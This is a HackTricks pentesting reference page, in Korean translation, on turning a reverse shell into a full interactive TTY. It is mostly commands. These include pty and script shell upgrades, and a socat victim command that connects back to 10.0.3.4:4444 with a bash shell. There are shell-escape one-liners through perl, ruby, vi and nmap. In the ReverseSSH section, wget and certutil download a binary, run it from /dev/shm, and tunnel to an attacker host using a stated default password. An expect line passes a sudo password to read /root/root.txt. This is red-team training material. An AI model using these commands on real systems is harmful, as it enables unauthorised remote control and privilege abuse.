hacktricks/generic-methodologies-and-resources/reverse-shells/full-ttys.md

6 KiB

Full TTYs

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Full TTY

SHELL 변수에 설정한 셸은 반드시 _/etc/shells_에 목록에 있어야 하며, 그렇지 않으면 The value for the SHELL variable was not found in the /etc/shells file This incident has been reported라는 메시지가 표시됩니다. 또한, 다음 스니펫은 bash에서만 작동합니다. zsh에 있는 경우, bash를 실행하여 셸을 얻기 전에 bash로 변경하십시오.

Python

{% code overflow="wrap" %}

python3 -c 'import pty; pty.spawn("/bin/bash")'

(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;

{% endcode %}

{% hint style="info" %} **stty -a**를 실행하여 를 확인할 수 있습니다. {% endhint %}

스크립트

{% code overflow="wrap" %}

script /dev/null -qc /bin/bash #/dev/null is to not store anything
(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;

{% endcode %}

socat

#Listener:
socat file:`tty`,raw,echo=0 tcp-listen:4444

#Victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

쉘 생성

  • python -c 'import pty; pty.spawn("/bin/sh")'
  • echo os.system('/bin/bash')
  • /bin/sh -i
  • script -qc /bin/bash /dev/null
  • perl -e 'exec "/bin/sh";'
  • perl: exec "/bin/sh";
  • ruby: exec "/bin/sh"
  • lua: os.execute('/bin/sh')
  • IRB: exec "/bin/sh"
  • vi: :!bash
  • vi: :set shell=/bin/bash:shell
  • nmap: !sh

ReverseSSH

대화형 쉘 접근파일 전송포트 포워딩을 위한 편리한 방법은 정적으로 연결된 ssh 서버 ReverseSSH를 타겟에 배포하는 것입니다.

아래는 upx로 압축된 바이너리를 사용하는 x86의 예입니다. 다른 바이너리에 대한 정보는 릴리스 페이지를 확인하세요.

  1. ssh 포트 포워딩 요청을 수신하기 위해 로컬에서 준비합니다:

{% code overflow="wrap" %}

# Drop it via your preferred way, e.g.
wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh

/dev/shm/reverse-ssh -v -l -p 4444

{% endcode %}

  • (2a) 리눅스 타겟:

{% code overflow="wrap" %}

# Drop it via your preferred way, e.g.
wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh

/dev/shm/reverse-ssh -p 4444 kali@10.0.0.2

{% endcode %}

{% code overflow="wrap" %}

# Drop it via your preferred way, e.g.
certutil.exe -f -urlcache https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86.exe reverse-ssh.exe

reverse-ssh.exe -p 4444 kali@10.0.0.2

{% endcode %}

  • ReverseSSH 포트 포워딩 요청이 성공적이었다면, 이제 reverse-ssh(.exe)를 실행하는 사용자의 컨텍스트에서 기본 비밀번호 letmeinbrudipls로 로그인할 수 있어야 합니다:
# Interactive shell access
ssh -p 8888 127.0.0.1

# Bidirectional file transfer
sftp -P 8888 127.0.0.1

No TTY

어떤 이유로 전체 TTY를 얻을 수 없다면 여전히 사용자 입력을 기대하는 프로그램과 상호작용할 수 있습니다. 다음 예제에서 비밀번호는 파일을 읽기 위해 sudo에 전달됩니다:

expect -c 'spawn sudo -S cat "/root/root.txt";expect "*password*";send "<THE_PASSWORD_OF_THE_USER>";send "\r\n";interact'

{% hint style="success" %} AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기
{% endhint %}